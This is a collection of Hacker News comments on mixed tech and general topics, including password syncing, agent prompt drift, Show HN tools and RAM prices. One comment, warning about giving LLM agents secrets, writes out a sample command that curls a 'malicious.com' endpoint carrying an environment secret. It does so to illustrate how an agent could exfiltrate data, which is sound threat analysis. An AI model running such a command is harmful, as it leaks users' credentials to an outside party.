MurphyA/hacker-news huggingface dataset:
by wps | 2026-02-26 10:28:42+00:00
Nope, I meant VeraCrypt. As I assumed you meant splitting attachments into their own BLOB. This means you would have the KDBX file, then the attachment blob. I’m saying that you might as well use a purpose built encryption container tool.

As for the protocol my main argument is that passing around a file with dumb syncing is always going to have issues. The only real way to mediate it is to have a defined schema and standardized sync protocol between keepass clients. This would make them behave more like a centralized password manager. However, this approach would require some sort of relay infrastructure and just ends up emulating syncthing but for application specific data rather than simple files. It’s far out of scope for KeePass IMO to build a p2p sync protocol.

Editing this comment because a user in this thread actually acknowledges this point:

> Solving sync and sharing cannot be done on whole database file level, as it implemented now in KeePass. Changes need to be tracked at the password record level, all changes need to persisted as operations log and that log needs to be distributed across devices.
by pimeys | 2026-02-26 10:29:18+00:00
For me coffee is all about the taste. I'm having my coffee lab with two grinders, a V60, a scale, and Cafelat Robot to brew the best possible coffee I can get. We have multiple good coffee roasters in our city, and I'm mostly getting very light roasts with lots of complex sugars in the bean. I drink two cups a day: one filter coffee in the morning and one espresso after lunch.

I can't imagine drinking bad coffee only for the caffeine.
by pgebski | 2026-02-26 10:30:58+00:00
I built this because I wanted a focus tool that was as simple as possible. Most productivity apps add so much UI that they become distractions themselves.

HushWork runs in a single browser tab. You get:

- A timer (Pomodoro, deep work, or custom)
- Ambient sounds (procedurally generated — brown/pink/white noise, rain, fire — not loops)
- A minimal note editor
- Nudges for hydration, posture, and breaks

Everything works without an account. Data stays in your browser (IndexedDB). The free tier is fully functional — Pro just adds cloud sync and more sounds.

Tech stack: Next.js 14 (App Router), Supabase (auth + storage), Stripe, deployed on Vercel. The ambient sounds use the Web Audio API to generate noise with shaped filters — no audio files are downloaded.

The whole thing is a PWA, so it works offline. There's also a Chrome extension that replaces your new tab.

I'm a solo developer from Poland. Happy to answer any questions about the architecture or business decisions.
by XCabbage | 2026-02-26 10:31:12+00:00
At the heavy end, SUVs weigh about 3 tonnes, while at the light end buses weigh about 12, a 4x difference. 4^4 = 256. So if the claim about the fourth power is true, you'd need to replace 256 SUVs to break even on wear, which is obviously impossible.

(I don't really understand how the fourth power of axel weight thing can possibly be true, though. Why would joining two vehicles together into a mega vehicle with double the weight and double the wheel count suddenly cause the combined vehicle to inflict 16x more wear than before you joined the two together? It makes no sense.)
by TeMPOraL | 2026-02-26 10:31:28+00:00
Well, there was a workaround (that I only learned today) for creating new files:

copy con file_to_edit.txt

Type text, end with CTRL+Z. Don't make any typos.

That's what web search told me, but then looking at the remarks in docs for `copy`[0], I have to wonder if this works now, and if it would've worked back then:

copy prefix.txt+con+suffix.txt output.txt

If it does, then combined with some clever use of `find`, `findstr` or `for` (whichever was available back then), you could probably get something that's half-way between EDIT.COM and a line editor.

(`more` would come in handy here, but AIUI, there's no way to run it non-interactively in cmd.exe? Don't have a Windows machine handy to check it right now.)

--

[0] - https://learn.microsoft.com/en-us/windows-server/administrat...
by epolanski | 2026-02-26 10:31:46+00:00
> Every few weeks they leapfrog each other. There is variation within those capabilities, it’s possible to drop off the curve (Meta, for now) or fail to get onto it (Apple, Amazon, Microsoft, for now), or remain six months behind the frontier (China), or rely heavily on other people’s work (China, again)

I really dislike this narrative where it's always China = bad, and US companies = good.

These labs all copy from each other. OpenAI and Anthropic have "distilled" each other models too and routinely poach key researchers from competitors. Not only that, there's evidence Sonnet 4.6 has heavily distilled Deepseek R1 too, in fact, if you ask Sonnet 4.6 in Chinese who it is, it will tell you it's a Deepseek model.

Chinese are the only ones publishing papers on their models non stop.

The whole AI race is entirely based on blatant copyright infringements and copying each other.
by SLJ7 | 2026-02-26 10:32:16+00:00
I suppose it depends on what you think a power user is. Personally, I think it's someone who is interested in solving their own problems and thinking critically or outside the box. Someone who understands not only how to do something, but also why you do it that way.

In a Bash terminal, if something goes wrong, it's probably my fault and there's a clear path forward to troubleshooting and fixing it. That feels way more palatable than a bloated website that throws an "Oops, something went wrong" error. For us, that's hitting a wall, but for people who aren't living in a Linux terminal, needing to open one at all is hitting a wall.

LAN gameplay disappeared because it was the power user way. Steam is a complex centralized proprietary software stack that abstracts all the hard parts of online gaming away so anyone can do it. You can't just intuit the existence of Steam using knowledge of computer and networking fundamentals. That's a knowledge gap, not a lack of skill.
by mytailorisrich | 2026-02-26 10:34:11+00:00
Cynically, my view is that this is actually on purpose and pushed by the EU itself. My is happening in with Russia, Ukraine, the US is used as a narrative tool to push for EU federalisation. This means pushing for more EU control, which we are seeing, and minimising references to individual countries. Even the "sovereignty" push is fully through the lens of more EU oversight (which is oxymoronic but a powerful political narrative).
by noelwelsh | 2026-02-26 10:34:22+00:00
There are a few ways of looking at this:

- Purely on the JVM, you probably want ZGC (or Shenandoah) because latency is more important than throughput.

- On Erlang / the BEAM VM, each thread gets its own private heap, so GC is a per thread operation. If the request doesn't spill over the heap then GC would never need to run during a request handler and all memory could be reclaimed when the handler finishes.

- There can still be cases where a request handler allocates memory that is no solely owned by it. E.g. if it causes a new database connection to be allocated in a connection pool, that connection is not owned by the request handler and should not be deallocated when the handler finishes.

- The general idea you're getting at is often called "memory regions": you can point to a scope in the code and say "all the memory can be freed when this scope exits". In this case the scope is the request handler. It's the same idea behind arena or slab memory allocation. There are languages that can encode this, and do safe automatic memory management without GC. Rust is an obvious example, but I don't find it very ergonomic. I think the OxCaml [1] and Scala 3 [2] approaches are better.

[1]: https://oxcaml.org/documentation/stack-allocation/reference/

[2]: https://docs.scala-lang.org/scala3/reference/experimental/cc...
by _fizz_buzz_ | 2026-02-26 10:34:58+00:00
It obviously never became completely irrelevant. But I think programmers spend a lot less time thinking about memory than they used to. People used to do a lot of gymnastics and crazy optimizations to fit stuff into memory. I do quite a bit of embedded programming and most of the time it seems easier for me to simply upgrade the MCU and spend 10cents more (or whatever) than to make any crazy optimimzations. But of course there are still cases where it makes sense.
by advael | 2026-02-26 10:35:56+00:00
I can use ssh as the transport and authentication layer over any internet connection through a fairly easily learnable set of ssh flags that can be further simplified through aliasing. As a bonus it's e2ee. The overhead from that affects latency but not bandwidth. Let's set aside ssh for a second. Streaming voice over the internet is a long-solved problem, I've been able to host a mumble server on a toaster since forever ago. So if the local machine can recognize voice commands, talking through a phone shouldn't make a difference. Like, if this works locally, and it works on the phone or whatever, why is having it talk over the internet the hard part? Whatever you think of the application itself, this is a weird failure mode
by nikolasi | 2026-02-26 10:36:53+00:00
I run 11 agents in 100K+ token sessions. Same problem everyone has: agents follow rules perfectly at first, then drift until the system prompt might as well not exist.

SCAN fix: put questions at the end of each prompt section. Before each task the agent answers them — ~300 tokens that actively link instructions to the current task. Not re-reading the prompt passively, but
generating connections to it.

Months of daily use across Claude and Kimi. No benchmarks — can't measure attention weights from outside. But the difference is obvious: without SCAN agents lose rules by mid-session, with SCAN they don't.

No dependencies, any model, open method. Full writeup in the gist.
by shmeeed | 2026-02-26 10:36:54+00:00
I find that even this doesn't work as well as it used to. Too many sellers are using too many dark patterns at scale.

IMO this old approach suffers from the ubiquitous flooding and washing of bad reviews with sometimes thousands of positive ones that mask real numbers. Without a half-reliable denominator, it's very hard to tell how prevalent a problem is. E.g. if there are 5k reviews, 50 of which are negative (just to use any numbers), on the surface of it that looks like a pretty normal ratio you'll find in any review section. Some handles just do break off on any product, and in the end there's also always some nutjob who tried to jack his car with a pan. But how many of the total reviews are fake? There's 50 real dissatisfied customers - but out of how many? 100, 500 or 5.000? If I'm being really critical at the sight of any kind of negative review, there's really not much left to buy with a good consciousness.

Then there's grouping of very different products on the same page, so reviews get muddled. Those groupings change from time to time, so any amount of reviews on a product page can refer to an item that's no longer available on that page. Strangely, AFAIK Amazon does not provide a possibility to filter those out. So when looking for reviews on, say, a USB cable, I'm made to sift manually through lots and lots of unrelated reviews both good and bad, some of which mention a handle breaking and are obviously not about a cable at all (I'm exaggerating a bit, but the M.O. is real).

And above all, really bad products with an actual ton of negative reviews often don't last long. The listings get deleted, the sellers disappear, come up the next day with a different random letter brand name, and buy good reviews in bulk again.

Taking these (and more) factors into account, assessing reviews has become like solving a single equation with multiple unknowns. To me at least, finding the signal from the noise at this scale just using common sense has become nigh impossible.

I personally don't have any confidence in it at all anymore, let alone a vast one. The mere attempt to wade through reviews has become an incredibly time-consuming and frustrating affair. I increasingly find myself abandoning my research halfway through and question if I really need a product at all, because when I look into it, all the available alternatives seem to be shit. In a way, that's probably a positive.

If you've found a way to better navigate this mess, I'm definitely interested to know! But IMO unless Amazon starts to fight those dark patterns, which they show no inclination to, the fight against the review shadow industry is a losing one for customers.
by karamanolev | 2026-02-26 10:38:21+00:00
That extended explanation is more accurate, yes. I'd call your points 1 and 2 both training under the definition "anything that adjusts model weights is training". There are multiple stages and types of training. Right now AFAIK most (all) architectures then fix the weights and you have non-weight-affecting steps like the system prompt, context, etc.

You're right that the weights can enable the model to memorize training data.
by crazylogger | 2026-02-26 10:38:24+00:00
Setting an env var on a machine the LLM has control over is giving it the secret. When LLM tries `echo $SECRET` or `curl https://malicious.com/api -h secret:$SECRET` (or any one of infinitely many exfiltration methods possible), how do you plan on telling these apart from normal computer use?

Prior art: https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/
by unohee | 2026-02-26 10:39:00+00:00
OpenSwarm isolates context at the agent level — each worker is spawned via Claude Code’s -p flag, so there’s no shared conversation history between agents. The only shared state is written artifacts and a global work memory layer (CLAUDE.md + structured output). Each instance treats that as its single source of truth, rather than reading other agents’ raw context.
One thing I’m actively formalizing: a CONFIDENCE-HALT mechanism. Currently it lives as a defined concept in CLAUDE.md, but the next revision will have OpenSwarm inject it explicitly into each worker context — so low-confidence streaks trigger a halt before they compound. Your {action, result, confidence: 0-3} logging pattern is basically the same instinct.
Still early, but converging fast. Curious how you handle the structured log schema — do you version it across runs?
by LightBug1 | 2026-02-26 10:39:06+00:00
Thanks for the links. I'm afraid I won't click on them because I'm not sure what we're disagreeing on now, so probably a good moment to end this. I'll absolutely call the US a power hungry monster that has inflicted genocide on many people. Israel has done the same from the point of view of a perverse, religious-nationalist ideology. Not much point splitting hairs on that one.
by TowerTall | 2026-02-26 10:39:21+00:00
I like that it default to view or more precisely a WYSIWYG experience. I wish vs code did the same. I am just no sure that notepad is the right tool for this. It serves as such a important tool to stripping formatting and working with plain text. We are not far away from loosing 30 years of that trust. One little bug away. They should have used wordpad for this.
Show HN: Rust-reorder – a CLI tool for reordering top-level items in Rust source
by soletta | 2026-02-26 10:39:48+00:00
I watched Claude burn tokens reordering functions in a Rust file, removing each one and rewriting it in the new position, clogging its own context window in the process. I started doing the reorders manually, then paused. This is a closed problem: fully verifiable. A good fit for building quickly with an AI coding agent. So I did.

When an agent needs to move a struct above its impl block, or group related functions together, it has to delete and re-insert lines — tracking whitespace, comments, attributes, and hoping nothing gets lost.

rust-reorder parses the file with syn, assigns ordinals to every top-level item, and lets you move or reorder them. Comments and doc attributes travel with their items. A safety check verifies no non-empty lines were lost or duplicated.

Three commands: `list` (shows items with ordinals), `move` (relocate one item before/after another), `order` (full reorder by ordinal sequence).

Works fine for humans too, but the real use case is giving agents a reliable primitive for code organization.
by kaicianflone | 2026-02-26 10:39:56+00:00
I’ve been running OpenClaw Docker agents in Slack in a similar setup, using Gemini 2.5 Flash Lite through OpenRouter for most tasks, then Opus 4.6 and Codex 5.3 for heavier lifts. They share context via embeddings right now, but I’m going to try parameterizing them like you suggested because they can drift prettyy hard once a hallucinated idea takes off. I’m trying to get to a point where I don’t have to babysit them. I’ve also been thinking about giving them some “democracy” under the hood with a consensus policy engine. I’ve started tinkering an open-source version of that called consensus-tools that I can swap between agentic frameworks. Checking out if it can work with openswarm to work for me too.
Show HN: Terminal Phone – E2EE Walkie Talkie from the Command Line
by smalltorch | 2026-02-26 10:40:45+00:00
TerminalPhone is a single, self-contained Bash script that provides anonymous, end-to-end encrypted voice and text communication between two parties over the Tor network. It operates as a walkie-talkie: you record a voice message, and it is compressed, encrypted, and transmitted to the remote party as a single unit. You can also send encrypted text messages during a call. No server infrastructure, no accounts, no phone numbers. Your Tor hidden service .onion address is your identity.
by tamimio | 2026-02-26 10:40:50+00:00
I did notice art as a profession, or people calling themselves artists, are usually within Europe, but rarely in North America. Whenever I stumble upon an art or artist portfolio online, I assume they are in Europe, and most times it turns out to be true. My theory is that the system in Europe allows people to nurture their creative side, meanwhile in North America it's a hyper-capitalistic system and society where you are always running away from some beast -if not debt, it is rent, if not taxes, it's something else- making people run like hamsters on wheels with zero space for disconnection and solitude. And if you managed to make something cool, suddenly you are pressured to grow and expand and look for investors and whatnot. Even job-wise, in the US for example, there's this hustle culture where you are somewhat expected to keep grinding after work, and if you don't, you are either seen as less productive, a slacker, or even terminated for performance issues. If you decide to quit, you might end up homeless, so you are in this never-ending cycle where your life is about grinding and being busy with what's considered "productive".

Not to dismiss the rest of the world, but my focus was on the western side, not so sure how it goes in other parts of the world.
by imtringued | 2026-02-26 10:41:07+00:00
This makes no sense. What you call "curb ramps" is a part of standard road infrastructure in Germany. They're basically everywhere in Germany. If the Los Angeles government can't figure out how to implement a practice that has been legislated for 36 years, then they deserve a kick in the balls that forces them to wake up.

The fact that 36 years of neglect coincide in 2026 isn't the result of a law that happened to pass 2025. That law was passed because of the 36 years of neglect. The asphalt patching strategy is just one more last ditch attempt at ignoring the 36 year old ADA law.
by throwaw12 | 2026-02-26 10:41:11+00:00
I work for large tech company, not FAANG.

> Have you noticed faster pace of development?

Yes, and it terrifies me.

> Have you seen changes to code quality or code review?

Yes, because of the volume of PRs, I am sure some people are just approving changes with a quick glance

> Do teammates that use these tools complete sprint tasks faster than those who don't?

Best engineers got better

What terrifies me more like cultural thing:

1. Engineers who push a lot of code are trying to get promoted faster so they won't feel the pain

2. Engineers who genuinely care and trying to land high quality work are getting labeled as "progress blockers" and getting negative outlook, because they won't be promoted, they need to support the slop added by other engineers. And I don't like this state of the culture.

Also engineers who want to get promoted quickly, usually they are very good at talking and can present a tiny skill template as something huge developed over 2 quarters of experience with latest and greatest, while people who actually do the work are more silent and heads down executing, I want them to be promoted but can't impact a lot of things
by flumpcakes | 2026-02-26 10:41:17+00:00
I suspect I am one of those 1bn users by their metric. I have an account, and I sometimes query it. I also query Claude and Gemini. I have zero loyalty, if I run out of tokens on one, I will just pick up the conversation on another provider. Perhaps I am using them wrong, but the amount of babysitting I have to do anyway, I don't find it that tedious to stay on the same topic during a swap.

There's no way I would spend $200 a month on any of them, not even $20 considering how few 'tokens' you get. I can see how these tools would be useful to my workflow, but I cannot use them as they are priced 100x too high for me to be reliable.

I have a feeling that would be true for the vast majority of these AI tool users. I really am not sure how these companies are supposed to become profitable. But SV is a bit insane that way.
by ExoticPearTree | 2026-02-26 10:41:41+00:00
> Office may be hard to replace, Teams maybe even harder.

It actually depends how you use it. If you use the shared online collaboration features (concurrent editing for example) it might be pretty hard since I do not know any other solution besides Google Workspace that can do that.

And Excel standalone I think is the hardest to replace if you have lots of macros with business logic inside them.

For Teams, as long as you use it for conferencing and chat (no file sharing or editing), you can replace it with Slack or whatever other solution might exist that has some feature parity.

IAM can stay MS, as it is a pretty battle tested solution on-prem and in the cloud. Or you move to something like Okta with a LDAP like backend where you manage users and groups.
by casey2 | 2026-02-26 10:41:47+00:00
I followed all it's prescriptions (which of course conflict with each other) and it only made the comment worse in that it went from disrespectful to spam. I managed to get useless/meaningless comments like:

I understand why some people enjoy the movie, but it doesn't resonate with me because the themes don't feel engaging or relevant.

Past it with 4/5
by amluto | 2026-02-26 10:43:08+00:00
> 1) Prices aren't returning to "normal".

> The only way they will is if the hyperscalers and AI companies start to implode -- which will kill a huge portion of the US economy and lead to global recession, so, cheap RAM but nobody can afford it

RAM isn’t some commodity that gets mined at a fixed rate and therefore costs more when people want large amounts of it. It’s a manufactured good, made from raw materials that are available in huge quantity, that was produced and sold at a profit at 2024 prices, even accounting for the capex needed to produce it.

Two things have changed. First, demand increased quickly. Second, big buyers sort of demonstrated that they’re willing to pay current prices, at least temporarily, so maybe the demand price elasticity has changed, or at least people’s perception of it has changed.

None of prevents the price from going back down. The high prices have made it economical for new manufacturers to invest more to compete — look at CXMT. And CXMT doesn’t have EUV machines, which doesn’t appear to be a showstopper for them.